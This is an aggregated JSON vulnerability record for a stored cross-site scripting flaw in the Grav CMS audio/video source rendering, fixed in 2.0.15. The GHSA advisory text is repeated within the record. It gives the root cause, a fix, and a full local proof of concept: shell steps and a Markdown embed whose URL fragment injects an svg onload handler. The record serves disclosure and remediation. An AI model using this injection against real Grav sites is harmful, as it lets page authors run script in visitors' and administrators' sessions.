{"id":"CVE-2026-75831","aliases":["EUVD-2026-60595","GHSA-6qw9-4vv5-jr97","GHSA-q8cg-5m48-5c25"],"status":"published","title":"Grav before 2.0.15 Stored XSS via audio/video source URL","description":"Grav before 2.0.15 contains a stored cross-site scripting vulnerability in the audio and video media rendering through the sourceParsedownElement method. The media URL fragment is concatenated unescaped into rawHtml source elements, allowing attackers to inject arbitrary HTML and JavaScript that executes in viewers' sessions.","severity":{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.0035,"percentile":0.28932,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-08-18T11:19:43Z","modified":"2026-10-28T02:30:44Z","fixes":[{"ecosystem":"Packagist","package":"getgrav/grav","fixed_in":["2.0.15"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"getgrav/grav","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.0.14"},{"fixed":"2.0.15"}]}]},{"source":"osv","ecosystem":"Packagist","package":"getgrav/grav","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.15"}]}],"versions":["0.8.0","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.34","0.9.35","0.9.36","0.9.37","0.9.38","0.9.39","0.9.4","0.9.40","0.9.41","0.9.42","0.9.43","0.9.44","0.9.45","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0-rc.1","1.0.0-rc.2","1.0.0-rc.3","1.0.0-rc.4","1.0.0-rc.5","1.0.0-rc.6","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.0-beta.3","1.1.0-beta.4","1.1.0-beta.5","1.1.0-rc.1","1.1.0-rc.2","1.1.0-rc.3","1.1.1","1.1.10","1.1.11","1.1.12","1.1.13","1.1.14","1.1.15","1.1.16","1.1.17","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.1.9-rc.1","1.1.9-rc.2","1.1.9-rc.3","1.2.0","1.2.0-rc.1","1.2.0-rc.2","1.2.0-rc.3","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.0-rc.1","1.3.0-rc.2","1.3.0-rc.3","1.3.0-rc.4","1.3.0-rc.5","1.3.1","1.3.10","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0-beta.1","1.4.0-beta.2","1.4.0-beta.3","1.4.0-rc.1","1.4.0-rc.2","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.0-beta.1","1.5.0-beta.2","1.5.0-rc.1","1.5.1","1.5.10","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.5.8","1.5.9","1.6.0","1.6.0-beta.1","1.6.0-beta.2","1.6.0-beta.3","1.6.0-beta.4","1.6.0-beta.5","1.6.0-beta.6","1.6.0-beta.7","1.6.0-beta.8","1.6.0-rc.1","1.6.0-rc.2","1.6.0-rc.3","1.6.0-rc.4","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.16","1.6.17","1.6.18","1.6.19","1.6.2","1.6.20","1.6.21","1.6.22","1.6.23","1.6.24","1.6.25","1.6.26","1.6.27","1.6.28","1.6.29","1.6.3","1.6.30","1.6.31","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.0-beta.1","1.7.0-beta.10","1.7.0-beta.2","1.7.0-beta.3","1.7.0-beta.4","1.7.0-beta.5","1.7.0-beta.6","1.7.0-beta.7","1.7.0-beta.8","1.7.0-beta.9","1.7.0-rc.1","1.7.0-rc.10","1.7.0-rc.11","1.7.0-rc.12","1.7.0-rc.13","1.7.0-rc.14","1.7.0-rc.15","1.7.0-rc.16","1.7.0-rc.17","1.7.0-rc.18","1.7.0-rc.19","1.7.0-rc.2","1.7.0-rc.20","1.7.0-rc.3","1.7.0-rc.4","1.7.0-rc.5","1.7.0-rc.6","1.7.0-rc.7","1.7.0-rc.8","1.7.0-rc.9","1.7.1","1.7.10","1.7.12","1.7.13","1.7.14","1.7.15","1.7.16","1.7.17","1.7.18","1.7.19","1.7.20","1.7.21","1.7.22","1.7.23","1.7.24","1.7.25","1.7.26","1.7.26.1","1.7.27","1.7.27.1","1.7.28","1.7.29","1.7.29.1","1.7.3","1.7.30","1.7.31","1.7.32","1.7.33","1.7.34","1.7.35","1.7.36","1.7.37","1.7.37.1","1.7.38","1.7.39","1.7.39.1","1.7.39.2","1.7.39.3","1.7.39.4","1.7.4","1.7.40","1.7.41","1.7.41.1","1.7.41.2","1.7.42","1.7.42.1","1.7.42.2","1.7.42.3","1.7.43","1.7.44","1.7.45","1.7.46","1.7.47","1.7.48","1.7.49","1.7.49.1","1.7.49.2","1.7.49.3","1.7.49.4","1.7.49.5","1.7.5","1.7.51","1.7.52","1.7.53","1.7.53.1","1.7.53.2","1.7.53.3","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0-beta.1","1.8.0-beta.10","1.8.0-beta.11","1.8.0-beta.12","1.8.0-beta.13","1.8.0-beta.14","1.8.0-beta.15","1.8.0-beta.16","1.8.0-beta.17","1.8.0-beta.18","1.8.0-beta.19","1.8.0-beta.2","1.8.0-beta.20","1.8.0-beta.21","1.8.0-beta.22","1.8.0-beta.23","1.8.0-beta.24","1.8.0-beta.25","1.8.0-beta.26","1.8.0-beta.27","1.8.0-beta.28","1.8.0-beta.29","1.8.0-beta.3","1.8.0-beta.4","1.8.0-beta.5","1.8.0-beta.6","1.8.0-beta.7","1.8.0-beta.8","1.8.0-beta.9","2.0.0","2.0.0-beta.1","2.0.0-beta.2","2.0.0-beta.3","2.0.0-beta.4","2.0.0-rc.1","2.0.0-rc.10","2.0.0-rc.2","2.0.0-rc.3","2.0.0-rc.4","2.0.0-rc.5","2.0.0-rc.6","2.0.0-rc.7","2.0.0-rc.8","2.0.0-rc.9","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9"]}],"products":[{"vendor":"getgrav","product":"grav"}],"references":[{"url":"https://github.com/getgrav/grav/security/advisories/GHSA-6qw9-4vv5-jr97","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20","tags":["patch","fix","web"]},{"url":"https://www.vulncheck.com/advisories/grav-before-stored-xss-via-audio-video-source-url","tags":["third-party-advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75831","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6qw9-4vv5-jr97"},{"url":"https://github.com/advisories/GHSA-q8cg-5m48-5c25"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/75xxx/CVE-2026-75831.json","tags":["advisory"]},{"url":"https://github.com/getgrav/grav","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-75831","title":"Grav before 2.0.15 Stored XSS via audio/video source URL","description":"Grav before 2.0.15 contains a stored cross-site scripting vulnerability in the audio and video media rendering through the sourceParsedownElement method. The media URL fragment is concatenated unescaped into rawHtml source elements, allowing attackers to inject arbitrary HTML and JavaScript that executes in viewers' sessions.","status":"published","published":"2026-08-18T11:19:43.062Z","modified":"2026-10-08T15:24:57.117Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:20:07.260654Z"}],"euvd":[{"id":"EUVD-2026-60595","description":"Grav before 2.0.15 contains a stored cross-site scripting vulnerability in the audio and video media rendering through the sourceParsedownElement method. The media URL fragment is concatenated unescaped into rawHtml source elements, allowing attackers to inject arbitrary HTML and JavaScript that executes in viewers' sessions.","status":"published","published":"2026-08-18T11:19:43Z","modified":"2026-10-08T15:24:57Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-02T17:27:31.218078Z"}],"ghsa":[{"id":"GHSA-6qw9-4vv5-jr97","title":"Grav: Stored XSS via Markdown audio/video media \u003csource\u003e URL","description":"**Target:** github.com/getgrav/grav  \n**Affected resource:** `Grav\\Common\\Media\\Traits\\AudioMediaTrait` / `VideoMediaTrait` `sourceParsedownElement()` — verified on 2.0.13 (latest stable) and `develop` HEAD `5a7070f`  \n**Severity:** Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory [CVE-2026-42841](https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr), same PR:H / S:C / C:H / I:L)  \n**Weakness:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n\n## Summary\n\nA Markdown audio or video embed renders its `\u003csource\u003e` element as **raw HTML** with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so `![x](song.mp3#\"\u003e\u003csvg/onload=alert(1)\u003e)` breaks out of `\u003csource src=\"…\"\u003e` and injects arbitrary HTML — including a script-executing `\u003csvg onload\u003e` — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.\n\nThis is the next sink in the media-parameter injection class the maintainer has been closing: [GHSA-r7fx-8g49-7hhr](https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr) (`attribute()`), [GHSA-pmf8-g7c8-7v54 / CVE-2026-55890](https://github.com/getgrav/grav/security/advisories/GHSA-pmf8-g7c8-7v54) (`style()`, 2.0.0-rc.9), and [GHSA-ffmg-hfvg-jhg9](https://github.com/getgrav/grav/security/advisories/GHSA-ffmg-hfvg-jhg9) (`resize()`, 2.0.0-rc.10). All three guarded image `style`/`attribute` sinks; the [`aba291a5` audit](https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20) scoped itself to \"sinks reaching the style attribute\" and did not cover the audio/video `\u003csource\u003e` rawHtml sink, which reaches full script execution rather than CSS injection.\n\n## Root Cause\n\nThe audio/video player builds its inner source as Parsedown **rawHtml** (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute — [`AudioMediaTrait.php` L43-52](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/AudioMediaTrait.php#L43-L52) (identical in [`VideoMediaTrait.php` L58-67](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/VideoMediaTrait.php#L58-L67)):\n\n```php\nprotected function sourceParsedownElement(array $attributes, $reset = true)\n{\n    $location = $this-\u003eurl($reset);\n    return [\n        'name' =\u003e 'audio',\n        'rawHtml' =\u003e '\u003csource src=\"' . $location . '\"\u003eYour browser does not support the audio tag.',\n        'attributes' =\u003e $attributes\n    ];\n}\n```\n\n`$location` includes the URL fragment, which is stored with **no encoding** — [`MediaObjectTrait::urlHash()` L240-249](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/MediaObjectTrait.php#L240-L249) only strips a leading `#`. Before that, the excerpt handler decodes the media URL with `htmlspecialchars_decode(urldecode(...))`, undoing Parsedown's escaping — [`Excerpts.php` L188](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Page/Markdown/Excerpts.php#L188) — and routes the fragment to `urlHash()` at [`Excerpts.php` L321-323](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Page/Markdown/Excerpts.php#L321-L323). So `\"`, `\u003c`, `\u003e`, `=`, `(`, `)` in the fragment survive into the raw `\u003csource\u003e`.\n\nTwo defenses that stop the *querystring* path do not cover the *fragment*:\n\n- The GFM tagfilter — [`ParsedownGravTrait::filterDisallowedRawHtml()` L528-535](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Markdown/ParsedownGravTrait.php#L528-L535) — escapes `\u003c` only for `title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext`. `\u003csvg\u003e` and `\u003cimg\u003e` are not on the list, so they inject as live markup.\n- The `__call` querystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (`onload=alert(1)`) keep their `=` `(` `)` and execute.\n\nThe image render path is unaffected — an image's `src` goes into an htmlspecialchars-escaped attribute, not rawHtml.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- PHP \u003e= 8.0 with the built-in web server (verified on 8.5)\n- curl\n- unzip\n\n### Step 1: Download Grav 2.0.13 (latest stable, self-contained core)\n\n```bash\nmkdir -p /tmp/grav-xss \u0026\u0026 cd /tmp/grav-xss\ncurl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip\nunzip grav.zip\n```\n\n### Step 2: Create a page with an audio file and a malicious Markdown embed\n\n```bash\ncd /tmp/grav-xss/grav\nmkdir -p user/pages/03.poc\nprintf 'ID3fakeaudio' \u003e user/pages/03.poc/sound.mp3\ncat \u003e user/pages/03.poc/default.md \u003c\u003c'MD'\n---\ntitle: XSS PoC\n---\n![sound](sound.mp3#\"\u003e\u003csvg/onload=alert(1)\u003e)\nMD\n```\n\n### Step 3: Start Grav\n\n```bash\nphp -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php\n```\n\nLeave this running and open a new terminal for the next step.\n\n### Step 4: Fetch the rendered page and show the un-escaped injection\n\n```bash\nfor i in $(seq 1 60); do (exec 3\u003c\u003e/dev/tcp/127.0.0.1/8390) 2\u003e/dev/null \u0026\u0026 { exec 3\u003e\u0026-; break; }; sleep 1; done\ncurl http://127.0.0.1:8390/poc | grep -o '\u003caudio.*\u003c/audio\u003e'\n```\n\nExpected output:\n\n```\n\u003caudio controls=\"controls\" alt=\"sound\"\u003e\u003csource src=\"/user/pages/03.poc/sound.mp3?loading=auto\u0026decoding=auto\u0026fetchpriority=auto#\"\u003e\u003csvg/onload=alert(1)\u003e\"\u003eYour browser does not support the audio tag.\u003c/audio\u003e\n```\n\nThe `\u003csource src=\"…#\"\u003e` is closed by the injected `\"` and `\u003e`, and `\u003csvg/onload=alert(1)\u003e` follows as live markup. Open `http://127.0.0.1:8390/poc` in a browser: the SVG's `onload` fires and executes `alert(1)` (screenshot: a `document.body.innerHTML='XSS_…'` variant rewriting the page). Video reproduces identically with an `.mp4` file and the same fragment.\n\n## Suggested Fix\n\nEscape `$location` with `htmlspecialchars()` before concatenating it into the `\u003csource src=\"…\"\u003e` rawHtml in `AudioMediaTrait::sourceParsedownElement()` and `VideoMediaTrait::sourceParsedownElement()` (and any other rawHtml media sink), or build the `\u003csource\u003e` through Parsedown's escaped-attribute mechanism instead of a raw string. The URL fragment in `MediaObjectTrait::urlHash()` should also be encoded rather than passed through verbatim.\n\n## Cleanup\n\n```bash\nkill %1 2\u003e/dev/null\nrm -rf /tmp/grav-xss\n```\n\n## Impact\n\nArbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected `\u003csvg onload\u003e` runs in the viewer's origin — a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a **no-interaction** sink: Grav's body renderer already passes interaction-based `\u003ca href=\"javascript:\"\u003e` / `\u003cform action=\"javascript:\"\u003e` raw but escapes auto-firing `\u003cimg onerror\u003e` / `\u003csvg onload\u003e` on block tags — the audio/video `\u003csource\u003e` rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author→viewer boundary to safe CSS) left open.","status":"published","published":"2026-09-17T17:31:41Z","modified":"2026-09-17T17:32:12Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"},{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:41:18.357514Z"},{"id":"GHSA-q8cg-5m48-5c25","title":"Duplicate Advisory: Grav: Stored XSS via Markdown audio/video media \u003csource\u003e URL","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6qw9-4vv5-jr97. This link is maintained to preserve external references.\n\n### Original Description\nGrav before 2.0.15 contains a stored cross-site scripting vulnerability in the audio and video media rendering through the sourceParsedownElement method. The media URL fragment is concatenated unescaped into rawHtml source elements, allowing attackers to inject arbitrary HTML and JavaScript that executes in viewers' sessions.","status":"withdrawn","published":"2026-08-18T12:31:22Z","modified":"2026-09-17T17:31:30Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"},{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:41:18.357514Z"}],"nvd":[{"id":"CVE-2026-75831","description":"Grav before 2.0.15 contains a stored cross-site scripting vulnerability in the audio and video media rendering through the sourceParsedownElement method. The media URL fragment is concatenated unescaped into rawHtml source elements, allowing attackers to inject arbitrary HTML and JavaScript that executes in viewers' sessions.","status":"published","published":"2026-08-18T12:19:33.1Z","modified":"2026-10-22T22:10:00.25Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:38.647684Z"}],"osv":[{"id":"CVE-2026-75831","title":"Grav before 2.0.15 Stored XSS via audio/video source URL","description":"Grav before 2.0.15 contains a stored cross-site scripting vulnerability in the audio and video media rendering through the sourceParsedownElement method. The media URL fragment is concatenated unescaped into rawHtml source elements, allowing attackers to inject arbitrary HTML and JavaScript that executes in viewers' sessions.","status":"published","published":"2026-08-18T11:19:43.062Z","modified":"2026-10-28T02:30:44.844581038Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:17.102988Z"},{"id":"GHSA-6qw9-4vv5-jr97","title":"Grav: Stored XSS via Markdown audio/video media \u003csource\u003e URL","description":"**Target:** github.com/getgrav/grav  \n**Affected resource:** `Grav\\Common\\Media\\Traits\\AudioMediaTrait` / `VideoMediaTrait` `sourceParsedownElement()` — verified on 2.0.13 (latest stable) and `develop` HEAD `5a7070f`  \n**Severity:** Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory [CVE-2026-42841](https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr), same PR:H / S:C / C:H / I:L)  \n**Weakness:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n\n## Summary\n\nA Markdown audio or video embed renders its `\u003csource\u003e` element as **raw HTML** with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so `![x](song.mp3#\"\u003e\u003csvg/onload=alert(1)\u003e)` breaks out of `\u003csource src=\"…\"\u003e` and injects arbitrary HTML — including a script-executing `\u003csvg onload\u003e` — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.\n\nThis is the next sink in the media-parameter injection class the maintainer has been closing: [GHSA-r7fx-8g49-7hhr](https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr) (`attribute()`), [GHSA-pmf8-g7c8-7v54 / CVE-2026-55890](https://github.com/getgrav/grav/security/advisories/GHSA-pmf8-g7c8-7v54) (`style()`, 2.0.0-rc.9), and [GHSA-ffmg-hfvg-jhg9](https://github.com/getgrav/grav/security/advisories/GHSA-ffmg-hfvg-jhg9) (`resize()`, 2.0.0-rc.10). All three guarded image `style`/`attribute` sinks; the [`aba291a5` audit](https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20) scoped itself to \"sinks reaching the style attribute\" and did not cover the audio/video `\u003csource\u003e` rawHtml sink, which reaches full script execution rather than CSS injection.\n\n## Root Cause\n\nThe audio/video player builds its inner source as Parsedown **rawHtml** (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute — [`AudioMediaTrait.php` L43-52](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/AudioMediaTrait.php#L43-L52) (identical in [`VideoMediaTrait.php` L58-67](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/VideoMediaTrait.php#L58-L67)):\n\n```php\nprotected function sourceParsedownElement(array $attributes, $reset = true)\n{\n    $location = $this-\u003eurl($reset);\n    return [\n        'name' =\u003e 'audio',\n        'rawHtml' =\u003e '\u003csource src=\"' . $location . '\"\u003eYour browser does not support the audio tag.',\n        'attributes' =\u003e $attributes\n    ];\n}\n```\n\n`$location` includes the URL fragment, which is stored with **no encoding** — [`MediaObjectTrait::urlHash()` L240-249](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/MediaObjectTrait.php#L240-L249) only strips a leading `#`. Before that, the excerpt handler decodes the media URL with `htmlspecialchars_decode(urldecode(...))`, undoing Parsedown's escaping — [`Excerpts.php` L188](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Page/Markdown/Excerpts.php#L188) — and routes the fragment to `urlHash()` at [`Excerpts.php` L321-323](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Page/Markdown/Excerpts.php#L321-L323). So `\"`, `\u003c`, `\u003e`, `=`, `(`, `)` in the fragment survive into the raw `\u003csource\u003e`.\n\nTwo defenses that stop the *querystring* path do not cover the *fragment*:\n\n- The GFM tagfilter — [`ParsedownGravTrait::filterDisallowedRawHtml()` L528-535](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Markdown/ParsedownGravTrait.php#L528-L535) — escapes `\u003c` only for `title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext`. `\u003csvg\u003e` and `\u003cimg\u003e` are not on the list, so they inject as live markup.\n- The `__call` querystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (`onload=alert(1)`) keep their `=` `(` `)` and execute.\n\nThe image render path is unaffected — an image's `src` goes into an htmlspecialchars-escaped attribute, not rawHtml.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- PHP \u003e= 8.0 with the built-in web server (verified on 8.5)\n- curl\n- unzip\n\n### Step 1: Download Grav 2.0.13 (latest stable, self-contained core)\n\n```bash\nmkdir -p /tmp/grav-xss \u0026\u0026 cd /tmp/grav-xss\ncurl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip\nunzip grav.zip\n```\n\n### Step 2: Create a page with an audio file and a malicious Markdown embed\n\n```bash\ncd /tmp/grav-xss/grav\nmkdir -p user/pages/03.poc\nprintf 'ID3fakeaudio' \u003e user/pages/03.poc/sound.mp3\ncat \u003e user/pages/03.poc/default.md \u003c\u003c'MD'\n---\ntitle: XSS PoC\n---\n![sound](sound.mp3#\"\u003e\u003csvg/onload=alert(1)\u003e)\nMD\n```\n\n### Step 3: Start Grav\n\n```bash\nphp -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php\n```\n\nLeave this running and open a new terminal for the next step.\n\n### Step 4: Fetch the rendered page and show the un-escaped injection\n\n```bash\nfor i in $(seq 1 60); do (exec 3\u003c\u003e/dev/tcp/127.0.0.1/8390) 2\u003e/dev/null \u0026\u0026 { exec 3\u003e\u0026-; break; }; sleep 1; done\ncurl http://127.0.0.1:8390/poc | grep -o '\u003caudio.*\u003c/audio\u003e'\n```\n\nExpected output:\n\n```\n\u003caudio controls=\"controls\" alt=\"sound\"\u003e\u003csource src=\"/user/pages/03.poc/sound.mp3?loading=auto\u0026decoding=auto\u0026fetchpriority=auto#\"\u003e\u003csvg/onload=alert(1)\u003e\"\u003eYour browser does not support the audio tag.\u003c/audio\u003e\n```\n\nThe `\u003csource src=\"…#\"\u003e` is closed by the injected `\"` and `\u003e`, and `\u003csvg/onload=alert(1)\u003e` follows as live markup. Open `http://127.0.0.1:8390/poc` in a browser: the SVG's `onload` fires and executes `alert(1)` (screenshot: a `document.body.innerHTML='XSS_…'` variant rewriting the page). Video reproduces identically with an `.mp4` file and the same fragment.\n\n## Suggested Fix\n\nEscape `$location` with `htmlspecialchars()` before concatenating it into the `\u003csource src=\"…\"\u003e` rawHtml in `AudioMediaTrait::sourceParsedownElement()` and `VideoMediaTrait::sourceParsedownElement()` (and any other rawHtml media sink), or build the `\u003csource\u003e` through Parsedown's escaped-attribute mechanism instead of a raw string. The URL fragment in `MediaObjectTrait::urlHash()` should also be encoded rather than passed through verbatim.\n\n## Cleanup\n\n```bash\nkill %1 2\u003e/dev/null\nrm -rf /tmp/grav-xss\n```\n\n## Impact\n\nArbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected `\u003csvg onload\u003e` runs in the viewer's origin — a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a **no-interaction** sink: Grav's body renderer already passes interaction-based `\u003ca href=\"javascript:\"\u003e` / `\u003cform action=\"javascript:\"\u003e` raw but escapes auto-firing `\u003cimg onerror\u003e` / `\u003csvg onload\u003e` on block tags — the audio/video `\u003csource\u003e` rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author→viewer boundary to safe CSS) left open.","status":"published","published":"2026-09-17T17:31:41Z","modified":"2026-09-17T17:45:04.317317389Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high"},{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:39.965326Z"},{"id":"GHSA-q8cg-5m48-5c25","title":"Duplicate Advisory: Grav: Stored XSS via Markdown audio/video media \u003csource\u003e URL","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6qw9-4vv5-jr97. This link is maintained to preserve external references.\n\n### Original Description\nGrav before 2.0.15 contains a stored cross-site scripting vulnerability in the audio and video media rendering through the sourceParsedownElement method. The media URL fragment is concatenated unescaped into rawHtml source elements, allowing attackers to inject arbitrary HTML and JavaScript that executes in viewers' sessions.","status":"withdrawn","published":"2026-08-18T12:31:22Z","modified":"2026-09-17T17:45:04.258265364Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high"},{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:54.40888Z"}]}}